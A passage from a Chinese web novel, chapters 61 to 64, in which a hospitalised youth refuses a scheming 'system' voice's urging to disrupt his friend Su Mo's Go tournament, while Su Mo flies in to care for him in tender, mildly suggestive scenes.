当然,他不敢将事实跟老太太讲,所以老太太从始至终都不知道他的计划。 事以密成,这不就成了吗? 至于,奶奶会不会同意,从一开始纪辰新就没考虑过,因为这一步至关重要,他必须这么做。 纪辰新轻声安慰她道,“奶奶,你别担心了,我看我现在不是好好的吗?” 老太太抹了抹眼泪,根本不信,直接出了门,去找医生,直到医生过来检查了一番,并亲口说,“已经脱离危险,接下来好好休养之类”的话后,她才彻底放下心来。 纪辰新无奈地看着他,“看吧,我就说没事。” 李春兰皱了眉头,“少说两句吧,就知道逞能。” 接下来的几天,纪辰新都安心呆在医院接受治疗,警察每天都有派人来看望,时不时还让配合做下笔录什么的。 纪辰新从始至终只明确了一个诉求,那就是: 他绝不原谅,纪知远必须受到法律的制裁! 将警察送走后,纪辰新终于给肖椿发去了消息,嘱咐他可以行事了。 但为了他能顺利说服那些人,也让那些指证的人能无后顾之忧,纪辰新不得不跟肖椿透露自己被赌鬼爹捅了的这件事。 有故意杀人在先,这罪就不可能轻,纪知远不太可能回来复仇了,很可能就此老死在牢里都不一定,就算以后侥幸出来了,年纪那么大也造不成任何威胁了。 肖椿听到这个消息,先是眼睛猛地瞪圆,瞳孔缩成了一点。 随后他的喉咙像被堵住,胸口闷的发疼,别人可能猜不到,但他瞬间就猜出来怎么回事了,他鼻尖一酸,“你故意的是不是?” “这就是你想出来的办法?” “纪辰新,你不要命了!”—— 作者有话说:这两天偏头痛犯了,经常偏头痛,导致眼睛痛,不晓得是不是对着电脑太久的缘故导致的,有时候受凉或者吹了风,也会这样,宝宝们天气转凉了,也要注意身体哟! 第62章 “没, 哪有这么夸张。”纪辰新解释,“我有分寸的。” “你有个屁的分寸,你若有分寸, 就不应该让自己受伤。”肖椿语气严厉道,“刀口再深点,你就没了!” 纪辰新好脾气道,“这是我计划的一环,事已至此,多说无益不是吗?” 这确实是他计划的一环, 纪知远这一刀早捅晚捅, 纪辰新都会想尽办法让他捅。 原本纪辰新是打算等纪知远从警察局录完笔录回来找他们时, 让这件事顺理成章的。 但没想到纪知远如此惜命,都被警察押走了,还回过头来求他们, 既如此, 他就更不可能放过这个机会了。 怪也只能怪他自己经不得激了。 “好了, 我现在不是好端端的吗, 别想些有的没的了。”纪辰新心情不错地笑了笑, “我就等着你们告他了!” 肖椿没好气的撇了下嘴,还不待他说什么, 纪辰新的叮嘱又来了, “苏陌在打升段赛, 我的事就别让他知道了,小心影响到他比赛。” 系统瞬间暴起,【欸欸欸欸,宿主你脑子是不是秀逗了,有这机会当然好好利用啊, 必须影响,不然等他这段时间打完比赛,估计都八段了!】 纪辰新倏然怔了一怔,他刚刚说这话,完全是下意识的反应,根本没有想到任务,脑子里冒出的唯一念头居然是不能耽误苏陌的比赛? 这? 他晃了晃头,一时陷入迷茫,苏陌对他来说是朋友,而且是很重要的朋友,他担心这个好像也正常。 不过,他真的要听系统的,为了任务去打扰苏陌的升段赛吗? 系统急死了都;【我早就说了,不要当朋友,现在好了宿主你想想奶奶,想想任务完不成的后果】 纪辰新蹙着眉头,叹了口气,有些烦躁的感到了一丝违心,“这样若是他问起来,你也可以稍微透露一点。” 肖椿疑惑,“什么啊” “我跟他交情又不深,没事跟他说这些干嘛?你要是想告诉他,就告诉呗!” 纪辰新:“”得了,多此一举,人家压根都没打算联系苏陌。 肖椿突然又补充道,“不过,他还蛮看重你的,这些年” “算了,不说了,你好好休养,我在打暑假工,要忙了。” 纪辰新点了点头,“好,你去忙吧。” 电话一挂断,系统又开始唧唧歪歪了起来。 【快告诉苏陌你受伤了,最好是让他马上赶过来,升段赛不打了才好!】 纪辰新无语,【你还是人吗,怎么这么恶毒?】 【再说了,你想他飞过来,他就飞过来?升段赛有多重要你难道不知道?我即便跟他是很好的朋友,但也没重要到让他放弃升赛段的地步吧!】 系统:【我本来就不是人,恶毒怎么了,为了任务,我可以不择手段,哼!】 【你要不要试试?说不定真有这么重要呢,反正就发条消息而已,我们又不吃亏,若是成了,咱就赚大发了!】 系统的怂恿,纪辰新不屑一顾,【能不能堂堂正正的?咱不耍这些阴招行吗?】 系统不满,【哪里阴招了,这就是堂堂正正的啊,你受伤难道不是事实吗,我们告诉他,然后他来不来,选择权在他手里,非常光明磊落好不好!】 纪辰新躺着病床上,一时陷入了沉默,系统说的好像也没错,但他依旧下不了决心这么做。 他是真心的把苏陌当朋友,在人家高强度比赛时,透露出自己受伤的消息,真的很像是在刻意影响人家比赛。 系统毒舌:【你怎么知道你真的能影响到他比赛,说不定只是你自作多情呢,你把他当朋友,他有可能根本没将你放心里。】 纪辰新:“” 不得不说,系统是懂地挑火的。 搞的纪辰新真有点动摇了,他在这为苏陌着想,说不定真如系统所说的,是自己自作多情呢要不 不不不,他怎么能这么想,他怎么能算计朋友,揣测朋友呢! 即便要完成任务,也不能耍这种心机。 不管到底能不能影响到苏陌,但最起码也要做到问心无愧不是吗。 最终,纪辰新将动摇的心再次坚定了下来,【你就死了这条心吧,我是不会这么做的!】 系统快要被气死了,【若是最后苏陌比你先拿到九段,你要怎么办?】 纪辰新恢复了理智,【他先拿到九段,任务就一定会失败吗?】 系统直接卡了,它烧了一会儿脑才道,【或许吧,你无法打败男主,那就无法替代他成为新的男主,那么原书的走向就无法改变!】 纪辰新嗤笑了一声,【看吧,我就知道你也无法确定,什么叫或许?你解释一下我听听!】 【哎呀,这么好的机会摆在你面前,你不这么做,要怎么取代他?】系统抓狂道,【宿主,麻烦你努力一点好不好!】 纪辰新无语了,【你所说的努力,就是让我给他使绊子?我看我不是什么新主角,我是个反派吧?】 他一句话堵的系统哑口无言。 系统又开始烧脑了,它突然意识到自己好像走偏了,为了目的,好像是有点越来越不走正道了,它原本是个正义有原则的系统啊! 见系统不再说话,纪辰新脑子终于能歇歇了。 他眯着眼睛睡了不知道多久,等再醒来时,窗外的天已经渐渐黑了。 李春兰是七点左右过来的,她提着保温盒,里面装着鸡汤。 “今天医生说可以喝点鸡汤补一补了,我炖了两个半小时,肉都炖烂乎了。” 说着,她就将盖子拧开,香味和热气混在一起,瞬间就将整个病房包围了。 纪辰新闻到肉香,眼睛直放光,这几天几乎天天都是清汤寡水的,嘴巴都淡的没边了,终于可以吃到肉了吗? 他眼含期待地看着李春兰的手,不,准确的来说,是她手里的保温盒。 老太太看他这样,不由觉得有些好笑,狠心打击道,“医生说你只能喝汤,吃肉怕你不消化。” 闻言,纪辰新的眸子猛地暗了下来,委屈道,“啊~奶奶我都多久没吃肉了,再不吃点肉,我的伤口肯定长不好了。” 李春兰给他舀汤,“你就老老实实听医生的,再挨几天就可以了。” “还要挨几天?”纪辰新明显不服,试着自己撑起来,一个没留神,“嘶” 老太太被他吓得顿时将手里的汤放了下来,骂道,“你猴急什么,小心扯到伤口!” 最终在老太太的帮扶下,纪辰新总算是半靠在病床上了,他一边忍着伤口疼,一边眼巴巴看着那碗汤,“没肉也行,快给我吧,要饿死了。” 李春兰根本没舍得让他饿着,她端起那碗汤,勺子往里捞了捞,鸡肉在汤碗里若影若现,滑嫩溜光,完美地与汤融合在了一起。 纪辰新明显看到了,眼睛猛地又亮了起来,迟疑道,“奶奶?” 老太太把碗给了他,没好气的关爱道,“肉只有炖到这么烂,才适合你吃。” “要不然我炖这么久干嘛,已经问过医生了,放心吃吧。” “哇,奶奶你也太好了吧,爱死奶奶了。”纪辰新激动地无以复加,就差欢呼了。 李春兰眼里的乌云烟消云散,眉眼一弯,眼尾的褶皱全挤到了一起。 祖孙俩相互支撑了这么多年,早已离不开彼此,老太太的心里,怎么可能真的让唯一的孙儿挨饿呢,她总会想尽办法满足孙儿的一切。 看到孙儿吃这么香,李春兰欣慰地笑着,她没提今天警察找到自己,转达了纪知远向她求情的意愿。 她那个儿子倒是聪明,捅了小新后,知道小新不会原谅他,便把主意打到她这个老太婆身上了,居然向她求情? 简直是可笑至极,她巴不得他去坐牢呢,最好是死在监狱里,一辈子出不来才好! 她永远都不会再让纪知远伤害到小新! 纪辰新仔仔细细吃了三大碗,直到将保温盒里面的汤和肉全部吃光,他才抿了抿唇,意犹未尽。 李春兰将盒子收了起来,问他要不要喝水。 纪辰新打了个嗝,“不喝了吧,都喝三碗鸡汤了。” “鸡汤是鸡汤,水是水,怎么能相提并论呢?”老太太不赞同道,“要是觉得腻味了,可以喝水顺顺的。” 纪辰新没接话了,独属于老太太的啰嗦时刻,若继续接话,等下不喝也得喝了。 就这样,李春兰唠叨了好几分钟后,总算是提着保温杯出去洗了。 纪辰新顿时松了口气,不由摇了摇头,佩服老太太的这股唠叨劲。 隔壁床是一位大爷,这个病房里就他们两个病患,他无聊地没话找话道,“听说,你是被你的亲生父亲捅进医院的?” 纪辰新偏头看了他一眼,没说话。 大爷自顾自道,“这做爹也太狠心了,太不是人了,怎么能对亲生儿子下如此毒手呢。” “你母亲呢,怎么就你奶奶整日忙里忙外的?” 纪辰新继续不说话,实在不太愿意跟外人讨论家务事,更何况还是有关于纪知远的事。 大爷见他不理自己,说了两句,也就自讨没趣,闭上嘴,看电视去了。 晚上十点左右,纪辰新正在病床的护理桌上练习围棋,病房突然打开,他没抬头,却也听到了奶奶的脚步声,立即道,“奶奶,我下完这局就睡了,真的!” 老太太朝他走了几步,语气愉悦地提醒道,“别下了,快抬头看看,谁来了?” “啊?”纪辰新愣了一下,下意识抬眼,视线聚焦在病房门处。 来人风尘仆仆,向来整洁的衣裳粘上了旅途的褶皱,额前发丝凌乱,裤脚边还蹭着几道没拍干净的浅浅的泥印,显然是刚出机场没歇脚,一路急赶过来。 “苏陌?”纪辰新霎时瞪大了眼睛,讶异出声。 少年站在病房口处,双肩微微垮着,像是没从赶路的急促里缓过来,他眉头拧的紧,嘴角抿成了一条直愣愣的线。 他微微往病床走了两步,脚步僵硬着,没敢靠太近,眼里的红血丝清晰可见,目光黏在纪辰新心脏缠满纱布的地方,随即又慌忙移到纪辰新脸上,喉结动了动,想说什么又实在没开口。 他的手指紧紧攥着裤缝,指节都捏的泛白。 纪辰新一脸震惊,“你怎么来了?” 苏陌凝着他,声音哑的厉害,连句完整的话都说不连贯,“为什么瞒着为什么不第一时间告诉” 话没说完,他喉结狠狠滚了一下,微微别开了脸,他来的路上一直在抖,脑子里全是最坏的念头,直到此刻真真切切见到了人,那股从脚底蹿上来的后怕才终于落了地,却又心底发紧。 他的声音放的极轻,像是怕扰了什么,语气带着没藏好的颤音,终是舍不得责怪: “纪辰新,你疼不疼啊?” 第63章 纪辰新半靠在病床上, 脸色白的像一张薄纸,连嘴唇都失去了往日的血色,但那双眼睛还藏着少年人特有的清亮。 他就像一株被风雨打蔫了的向日葵, 虽然还朝着太阳,却少了几分往日的挺拔。 “我吗?还好啊,这点伤对我来说不算什么的。” 他浑身透着一股不服输的劲儿,眼皮轻颤,眼仁的光软了下来。 苏陌看着他这一副无所谓的模样,心口像是被什么撞了一下, 又酸又闷的发紧, 这是一种说不清的心疼。 他终于朝纪辰新走了过去, 伸手想去触碰那浸了血的纱布,指尖带着不自然的抖动,下一秒又猛地收了回来, 垂在身侧攥成了拳。 他的眉头皱的紧紧的, 一言不发, 仿佛伤在了他身上。 纪辰新全身的活气都用来下棋了, 此刻面对苏陌, 实在有些撑不住了,他眼尾垂了下来, 藏不住的倦意把整个人都裹的蔫蔫的。 “苏陌, 你还没回答我呢, 你怎么过来了?” 他的精神的状态不算好,憔悴成了他受伤以来的常态。 苏陌仔仔细细打量着他,好一会儿才开口道,“是肖椿。” 肖椿? 纪辰新挑了下眉,惊呆了。 他才告诉肖椿多久啊?七个小时?还是八个小时? 那家伙口口声声说跟苏陌没什么联系, 怎么转眼就将事情捅出去了呢? 另一边,远在江洲的肖椿,刚洗完澡出来,猝不及防地打了几个喷嚏,“谁在说我坏话?” 他揉了揉鼻子,翻看起了手机,尤其是跟苏陌的对话框。 其实他也没说什么,只不过是放心不下纪辰新,就顺便给苏陌提了一嘴而已,反正纪辰新不是说了可以透露吗? 那他透露一下也没关系吧? 有苏陌帮忙把关,纪知远这下更别想脱罪了,只会判的更重! 肖椿看着他与苏陌的对话框,特别是苏陌最后说的那句,‘我会带律师过去’,不由满意的笑了。 李春兰看到苏陌过来异常的高兴,连忙出去洗水果了。 纪辰新默默望着眼前的少年,一时间心里五味杂陈。 下午的时候,他还和系统争论要不要告诉苏陌来着,结果,晚上居然就看到人了。 毫无疑问,这还真不是他自作多情。 最起码,苏陌对于他这个朋友还是很看重的,而且比他想到的,还要重的多 毕竟他记得苏陌今天下午是有比赛的。 现在却水灵灵出现在这,代表了什么? 纪辰新不敢细想。 “你” “别说话了,棋也别下了,好好躺着。”少年强硬地将病床上的护理桌搬了下来,然后轻轻按着他躺了下去,“医生难道没说半靠不利于恢复吗。” 纪辰新看着被没收的棋,有些郁闷地望着上方冷着脸让他休息的某人,调侃了一句,“你是特意过来管我的吗?” 苏陌扯了扯嘴角,嗯了声,“所以,你要好好听话。” “额为什么?”纪辰新感到莫名,“你比赛不打了?” “没事,往后推了几天。”苏陌轻描淡写地盖了过去。 纪辰新顿时蹙了眉,“苏陌,你在搞笑吗,升段赛通常由赛事组委会统一安排,怎么可能根据个人时间进行调整。” 少年眼皮轻抬,眉梢微微挑起,眼神带着笃定,“我爷爷之前是国棋院的院长,现任院长又是我师伯,怎么不可能?” 他说这话时指尖悄悄蜷了下,目光也飞快从纪辰新脸上滑开,那点刻意压下去的闪躲,藏着冷硬的语气里。 纪辰新眯了眯眼,总觉得隔着层薄雾在看他,“你说谎!” 苏陌眼神冷清清的,漫不经心道,“真没事,这种事骗你干嘛?” 他的喉结悄悄滚了下,那点没藏住的游移,像冷硬外壳上裂了道小缝,让人分明觉出,事情绝对没有他说的这么简单。 纪辰新沉默了,他望着面前的人,没有一点办法,腿长在他身上,他来都已经来了,现在再让他回去,恐怕没那么容易。 一时之间,俩人僵持不下。 李春兰洗了苹果梨子过来,招待着,“苏陌,这里没什么吃的,将就一下。” 苏陌淡淡摇头,“不用麻烦纪奶奶,放着吧,想吃的时候,我自己拿。” “欸,好。”老太太立即又将病床旁唯一的一张凳子放到了苏陌面前,“你坐。” 少年连连摆手,“纪奶奶,您坐吧。” 俩人互相谦让,最后还是纪辰新发话,“苏陌你就坐吧,这里还有张折叠床,是我奶奶的,不用担心她。” “对,我有折叠床,能睡能躺,不用担心我。”老太太终于想起了自己的折叠床,从门后面拿了出来,“喏,就在这,我这就摊开。” 既如此,苏陌便也点了头,“好。” 少年将凳子往纪辰新的床边挪了挪,“律师要12点才到,我明天会带他来见你。” “律师?”纪辰新明显懵了,“你给我找律师了?” 苏陌给他掖了掖被子,“嗯,这样更有效率,专业人士的经验也更丰富,不到半个月就开学了,到时候你哪来这么多时间?” “若我没记错的话,学校组织了为期半个月的军训,要提前十天过去。” “也就是说,还有几天,我们就要去学校报到了,你现在这样只能请病假了,军训是参加不了的。” 苏陌淡淡描述着。 他说的这些,纪辰新当然知道,自从拿到录取通知书的那刻,他就知道了。 只不过,他想的开,“那还不好,那太阳能晒死人,我才不要军训,现在这样正好。” 他突然无比庆幸自己受了伤,语气雀跃极了。 苏陌哪里听不出来,神色无奈极了。 “那个苏陌,我可以请你帮个忙吗?”倏然间,纪辰新一脸纠结且不好意思的开口。 “什么?”少年挑着眉,认真看着他。 纪辰新尴尬地笑了声,“那啥我已经几天没洗澡了找我奶奶也不是很方便,你懂的” 苏陌倏然愣住,像是被钉在原地,僵了两秒才反应过来。 他耳尖微红,神色带着点慌张,先是瞟了眼纪辰新身上缠着纱布的地方,又飞快移开,落到了被单上,“现现在吗?” 少年咽了咽喉咙,起身站了起来。 纪辰新点头,“嗯,如果可以的话,需要麻烦你” 他话还没说完 “我先扶你起来。”苏陌直接接过了话,眼神晃了晃,就是不去触及纪辰新的目光,“浴室在哪?” 李春兰连忙也过来帮扶着,“浴室就在那儿,走,我帮你架着。” “纪奶奶,你帮辰新拿下换洗衣物吧,我力气大,一个人就可以。”苏陌将纪辰新的右手搭在自己肩膀上,轻轻松松就将他架了下来。 “好,那我拿衣物。”老太太着急忙慌地去翻袋子了。 纪辰新被苏陌一路架进了浴室,他上半身绑着绷带,是没穿衣服的,下半身倒是穿了条长裤。 “那个我弯腰动作大点会扯到伤口,所以裤子需要麻烦你”纪辰新再次尴尬地笑了笑。 苏陌的耳后漫上了淡粉,垂眼往下盯了一秒,喉结飞快地滚了一圈,指尖微微碰了下纪辰新的裤头,瞬间又像被烫到似的赶紧缩了回来。 “你奶奶还没把你的换洗衣物拿过来,晚晚点吧。” 纪辰新愣了下,“噢。” “我先帮你试试水温吧。”苏陌摘下了花洒,将开关轻轻掰开。 “行。”纪辰新随他,只是默默往后移了移,免的水等下溅到身上。 开关一开,最先出的是冷水,过了好一会儿,热水才慢慢流出,浴室里唯一的一面镜子渐渐因为白雾蒙上了一层水汽,逐渐开始看不清彼此的脸。 俩人静静站着,谁都没说话,令本就狭小的空间更显局促了。 花洒的水声微微刺耳,纪辰新轻声呼出口气,稍一动弹就蹭到了苏陌的胳膊。 下一秒,少年的呼吸喷在了他脸上,略显粗重,像是撞碎了这层绷的发紧的寂静。 纪辰新心里压着股说不出的滞涩,明明在炎炎夏日,全身却仿佛被冻住般。 “衣服放外面还是里面?”老太太的声音乍然响起。 纪辰新猛然回神,“拿,拿进来吧。” 他伸出手腕,接过了衣物,放在了洗手台。 随后默默靠在了浴室的瓷砖上,背后传来的丝丝凉意,莫名让他好受了点。 “嗒”地一声,门被苏陌轻轻上了锁,“水温正合适,可以洗了。” 纪辰新咬了下唇,盯着苏陌垂着的眼睫,手指无意识地攥紧了裤缝,他不由回想起了那日与苏陌在VIP室独处时的状况,以及当时那诡异又奇怪的氛围,貌似好像与现在如出一辙? “现在帮你脱?”少年半垂着眼,摒住了气,胸腔里的心跳仿佛下一秒就要不顾一切地冲出来。 纪辰新喉咙发紧,胡乱“嗯”了一声,明明是自己先提出来的,若是扭扭捏捏的,未免显的太矫情。 算了,都是男的,没什么大不了的! 他如是安慰着自己。 “那我开始了。”苏陌说这话并不是询问,而是陈述,他的指尖刚碰到裤头,呼吸便猛地一顿。 只见他弓着腰,指尖轻轻勾住纪辰新裤子的边缘,感受着指尖擦过腰间的触感,耳尖瞬间烧了起来。 当他轻轻将裤子往下褪时,入目是白的晃眼的白净长腿,特别是那双腿之间单是匆忙瞟一眼,顿时呼吸都停了,心脏如擂鼓般,震的耳膜嗡嗡作响。 他脑子一轰,控制不住的抖了下,腿侧温热的触感像电流似的窜上来,让他连手往哪放都忘了。 纪辰新感受着裤子往下滑,特别是不小心被苏陌蹭到过的地方,莫名像过了电流似的发麻。 他故意让自己的声音听起来平稳,“你快点!” 他垂着眼睫,一会儿盯着少年头顶的发旋,一会儿又盯着浴室瓷砖缝的纹路,呼吸放的又轻又浅。 他后悔了,他不该喊苏陌帮他的,他现在只想迅速结束这场令人饱受折磨的酷刑! “抬一下脚。” “另一只。” 终于长裤被脱了下来,然而还剩一条内/裤。 纪辰新只觉得头皮发麻,想死的心都有了,根本压不住浑身的热,“你等下不准看!” 少年的心跳始终无法平复,在胸腔里乱撞,垂着眼不敢与纪辰新对视,就怕将眼底的慌乱泄了出去。 他听见自己嘶哑开口,尾音发飘,“你确定?我怕碰到不该碰到的地方。” 说这话时,他指尖都控制不住的发颤。 纪辰新僵了一瞬,微晃了下身子,最后认命般,“行吧,你脱吧,速度一定要快,脱完你就出去,我自己洗!” 苏陌闻言,倏然睁大了眼睛,“你自己洗?” “对,我自己洗,本来也只是让你帮我脱裤子,难不成我还让你帮我洗,帮我搓啊?”纪辰新简直没好气道。 “有花洒,我手又没手伤,不会弄到上面来的。” 他解释,这原本就是他的想法。 苏陌蹙眉,“可是你弯腰会扯到伤口。” “这个你就别管了,我洗中间,脚冲一下就行了,单洗中间这圈,手还是够的到的。”纪辰新支支吾吾地道。 苏陌意识到他说的中间是什么,脸一下就烧起来了,还下意识往下瞄了眼。 纪辰新不满瞪他,“看什么,你这什么眼神?” 少年不说话了,沉着眼,认可了他的说法,“好,那现在脱?” 提到脱内/裤,纪辰新刚刚那凶巴巴的模样顿时又蔫了下来,仿佛受到了奇耻大辱般,眼睛一闭,“来吧。” 苏陌缓缓吐出口气,按照他的要求,双手勾住了他内/裤的边边,然后猛的往下一拉。 纪辰新顿时感觉下面一凉,吓的没站稳,脚下一滑。 “啊!” 他大叫一声,下一秒自己的胯就被稳稳地掐住了,少年正单膝跪在他身下,脸距离他那里,目测只有几厘米! 温热呼吸缠上,活色生香,不堪入目! 纪辰新猛地低头一看,直接炸了: “我艹你丫的,给老子滚出去!”—— 作者有话说:哈哈哈[鼓掌] 第64章 门被“砰”地合上, 隔绝了浴室内的水汽与少年慌乱的喘息。 苏陌立在门外,指尖还残留着刚刚不慎触碰到纪辰新大腿的触感,以及脑海里挥之不去的最后那惊鸿一瞥 他面上依旧是惯常的冷淡态度, 眉峰未动,薄唇紧抿,可垂在腿侧的手,却几不可查的蜷缩了一下。 他微一闭眼,一闪而过的是纪辰新闪躲又羞恼的神态,整个人生动极了, 也可爱极了, 心绪莫名又被扰乱了几分。 李春兰一回头, 疑惑地看着被推出门的苏陌,“怎么出来了?不是要帮” “他说自己可以洗。”少年乍然睁眼,只是说完这句话, 他便面无表情地走到了窗边, 指尖无意识划过冰凉的玻璃, 目光投向虚空与夜景, 却什么也看不进去。 浴室里, 纪辰新一向没多少情绪起伏的眼神里,此刻翻涌着一丝自己都未曾察觉到的错愕。 他不明白, 怎么就发展成那样了! 明明他与苏陌同为男性, 但单独相处时, 总感觉没了小时候的那份自然。 现在的苏陌,到底是有哪里不一样吗? 肯定是有的到底是哪里呢? 不然无法解释! * 水声哗啦啦地流,不知过了多久,纪辰新才满意地关掉花洒并擦干了水分。 只是面对洗手台上要换的衣服,他一时间又犯了难。 难道他又要喊苏陌进来帮他穿吗? 纪辰新皱着眉头纠结了起来, 要不然自己穿? “叩叩”少年不知何时站在了浴室外,他声音闷闷地道,“需要我帮忙吗?” 纪辰新只是尝试稍微弯一点腰,结果下一秒就感受到了胸口的刺痛,他瞬间就放弃了这个选择。 听到苏陌提出帮忙,纪辰新看着整个浴室氤氲的热气,白茫茫一片,心想着,让他进来,等下应该也看不到什么的。 况且,都已经被看了一次了又来一次好像也不是那么的难以接受。 于是他清了清嗓子,“进进来吧。” 话刚落,门便被拧开了。 纪辰新的第一反应就是:靠!我怎么没锁门? 刚刚居然没锁门,那他在这洗澡? 苏陌只开了个小缝便轻松挤进了浴室,关门时,随手就落了锁。 “!!!” 纪辰新看到随着他开门,瞬间跑出去的热气,浴室肉眼可见地变的清明了起来。 他光不溜秋地面对苏陌站着,只一秒,又要炸了! 只见他脸顿时红的像个熟透的桃子,烫的他耳后也悄悄爬上了一层热意。 错乱交叠的衣裳就放在洗手台上,苏陌按下心底汹涌的悸动,他抿紧唇,抬手按了按眉心,试图维持惯有的疏离。 他一言不发地拎起纪辰新的内裤,看了下正反面,然后发布指令,“抬脚!” 纪辰新活像个电子机器人,按照他的吩咐,一个指令一个动作,迅速将内/裤和外裤穿戴好。 整个过程不超过一分钟。 不管是苏陌还是纪辰新都默契地不多说一句话,甚至目光都不敢对视。 最后还是苏陌在给他调整裤子时,主动打破了这个旖旎氛围,为纪辰新缓解尴尬,“你要不要洗头,正好你奶奶有躺椅,你躺上面,我给你洗。” 纪辰新随手薅了一把头发,揉了几下,绯红着脸颊道,“也行吧,好几天没洗了,有点油了。” “嗯,那我去拿躺椅。”苏陌转身开门出去了,仔细看的话能发现,他的手脚都不太自然,就差同手同脚了。 五分钟后。 纪辰新躺在躺椅上,心情总算平复了下来。 这一平复下来,他便有点犯困了,他现在这虚弱的身体,实在经不住像以前那样耗,那样熬了。 苏陌的手法并不专业,动作生涩的很,却胜在轻柔,就连纪辰新睡觉也没打扰到一丝一毫。 纪辰新也不知道自己睡了多久,当他醒过来时,头发正被毛巾裹着。 他能感受到头上手指正隔着毛巾软乎乎地揉他的湿发,少年的动作放的极轻,一点一点顺着发梢擦着,呼吸也放的浅,就怕吵醒了他。 纪辰新有些恍惚地眨了下眼,声音微微嘶哑,“苏陌,护士站有吹风机的。” “嗯,看你睡的香,就没用。”少年语气自然,他擦完最后一缕头发,便起了身,“稍微等我一下,我去借。” 纪辰新望着他出去的背影,一时出了神。 等苏陌将吹风机借回来,纪辰新的视线缓慢地落在他身上,“我发现你这个人” “我?我怎么了?”少年接话,插头插上,吹风机的嗡嗡声,瞬间便将整个空间覆盖了。 苏陌紧急按了停,弓着身看他,“说啊,我这个人怎么了?” 纪辰新躺着与正上方的少年对视,轻巧一笑,“没什么,快帮我吹吧。” 苏陌朝他靠近了些,俩人的直线距离瞬间缩短,“我不信,你到底想说什么?” 纪辰新看着近在咫尺的面孔,近到他能看清苏陌眼尾细碎的绒毛,也能数清他睫羽颤动的弧度。 两个人的视线交缠在一起,像两束缠在一起的光,胶着着不肯移开。 少年粗重的气息漫过纪辰新的眉梢,呼吸差点混在了一处。 纪辰新读出了他眼底藏不住的软意,“我想说的是你这人外表看着高冷,但其实是一个外冷内热,极具耐心与细心的人。” “是吗?”少年弯了下眉眼,像揉碎的星光落进去,“除此之外,还有吗?” 纪辰新倏然伸手攥住了他的衣领,往下拉了拉,迫使少年低下了头,一时之间俩人的距离更近了。 苏陌僵着身子没敢动,喉结滚了滚更不敢出声。 他能在纪辰新的眼瞳里看到自己藏不住的慌乱,他的呼吸急促起来,心里没说破的心意,此刻濒临崩溃。 纪辰新伸出了手,指尖悬在少年的耳后半寸,随后轻轻一滑,便将一圈泡沫拢了下来。 “你也太不小心了,泡沫弄脖颈上了都不知道。” 他说完,就轻轻将眼前的人推了开,“好啦,拿张纸给我,我擦一下。” 苏陌眼底划过一丝落寞,但总算是没那么紧张了,他抚了抚乱跳的心脏,回避了纪辰新的目光,“好。” “嗡——”吹风机的声音乍然响起。 这独特的声音在浴室里漫开,像只温顺的小蜜蜂贴在耳边振翅。 风嘴输送的暖风,吹的发丝轻晃。 苏陌一直手轻轻拢着他的头发,风嘴离的远,动作轻的像呵护一团软云。 不过,这次纪辰新却睡不着了。 【系统,这下你如愿了吧,苏陌中途抛下升段赛,跑来照顾我这个病秧子了。】 系统语气说不出的愉悦,【啊哈哈,哪有,这不也说明他非常认可你这个朋友吗?】 纪辰新不想跟他扯,只关心自己想知道的,【所以,他是不是说谎了,他爷爷和国棋院的院长再怎么权力大,也无法更改早已发布出去的赛事行程吧。】 系统:【嗯,他确实没说实话,他这次错过的几场比赛,已经损失了很多积分,下次他得先打保段赛了,等保住了原有的段位,才能继续往上升。】 听到这,纪辰新狠狠蹙了下眉,【那如果让他马上回去呢,还有救吗?】 系统:【唉,宿主,你让他回去干嘛,他既然来了,那就是做出选择了,这样也有利于我们任务的完成啊。】 纪辰新从它话里听出了弦外之音,【你既然会这么说,是不是说明只要他回去就还有救。】 【不然,你急着打消我的想法干嘛?】 【欸,我可没这么说,这都是你自己胡乱猜测的。】系统连忙反驳,甚至想打自己的嘴。 纪辰新得到了自己想知道的讯息,便思考着,明天怎么让苏陌回去,今天是不太行了,都这么晚了,也没票了。 苏陌安安静静摆弄着手里的头发,直到手里的发丝全部干透,他才按掉开关。 “好了,你起来回床上去吧。” 少年将吹风机收了起来,顺便将折叠床也收拾了。 纪辰新默默看着他忙活,在苏陌出门去还吹风机时,迅速走到了李春兰跟前,“奶奶,苏陌今晚住哪?” “我记得医院外面有酒店,你去给他定一间吧。” 李春兰笑着道,“放心吧,奶奶早就考虑到了,刚刚他帮你洗头时,我就出去定房间了,他等下去酒店直接报我的名字就行。” “对了,那个酒店还包早餐呢!” “哇,奶奶好棒!”纪辰新夸赞道,“比我想的还要周到呢。” 老太太捂嘴笑,“害,什么棒不棒的,你就知道取笑奶奶。” 外面护士站。 苏陌将吹风机还了后,终于摸出了关了很久的手机。 当他的指腹刚触到开机键,手机便“嗡”地一下亮了起来,紧接着,无数条消息疯狂弹出来。 提示音“叮铃叮铃”响个不停。 其中爷爷的电话打了有13个。 苏陌神色微凝,他记得上飞机前,他给爷爷发消息,报备过的,让他不要担心。 不管怎么说,这次事出突然,他又走的匆忙,归根结底,是少不了一顿骂了。 少年回拨电话时,便做好了挨骂的准备。 但他还是小看了从来没见爷爷发这么大的火! 电话拨通瞬间,老爷子的怒吼声便从手机里冲了出来。 苏陌无奈地将手机拿远了些,等爷爷输出了几分钟,声势渐缓时,他才开口说话。 “嗯,我知道了,是我考虑欠妥,我的错。” 苏瀚阳眉头拧成了死疙瘩,连脖子上的血管都突突的跳,“陌儿,从小到大你都守规矩,比你父亲听话多了,我和你奶奶一直都很欣慰,甚至以你为傲。” “但,我们怎么能想到呢,你居然给我们闹这么一出大的!” “你真是好出息,好出息啊!” 苏陌没敢顶嘴,好脾气道,“爷爷,我上飞机前不是给你报备了吗。” 提到这个,苏瀚阳更来气,“你发条消息就是报备了?你报备,我就得同意?” “你今天下午逃赛,三场比赛直接判负。” “你还要不要升八段了?” “你明天就给我回来,剩下的比赛不容有一丁点的差错!” “爷爷,我就算明天回来也来不及了。”苏陌苦笑一声,“等明年吧,明年再升!” “您就别为我操心了,身体要紧。” “陌儿你回来,爷爷有办法,只要你能赶在明天下午两点前回到赛场,便还有机会。”老爷子笃定道。 “剩下的五场比赛,不能有任何失误了,你的对手现在积分跟你不相上下,仔细算的话,还比你高二十分。” 苏陌沉默了,他在取舍,他已经答应了纪辰新明天和律师一起陪他捋案子,他不能做言而无信的人。 况且纪辰新这个事才是真的不容一丝马虎,七年前他错过了,七年后他又再次没能及时出现。 现在,此时此刻,他能做些力所能及的,已经是求之不得了。 “对不起,爷爷,我” “苏陌,你回去吧!”纪辰新的声音,倏然在他身后响起。 少年愕然回头,一错不错地撞进了纪辰新坚定的瞳孔里,“听你爷爷的,回去吧,我一个人跟律师对接就行了。” 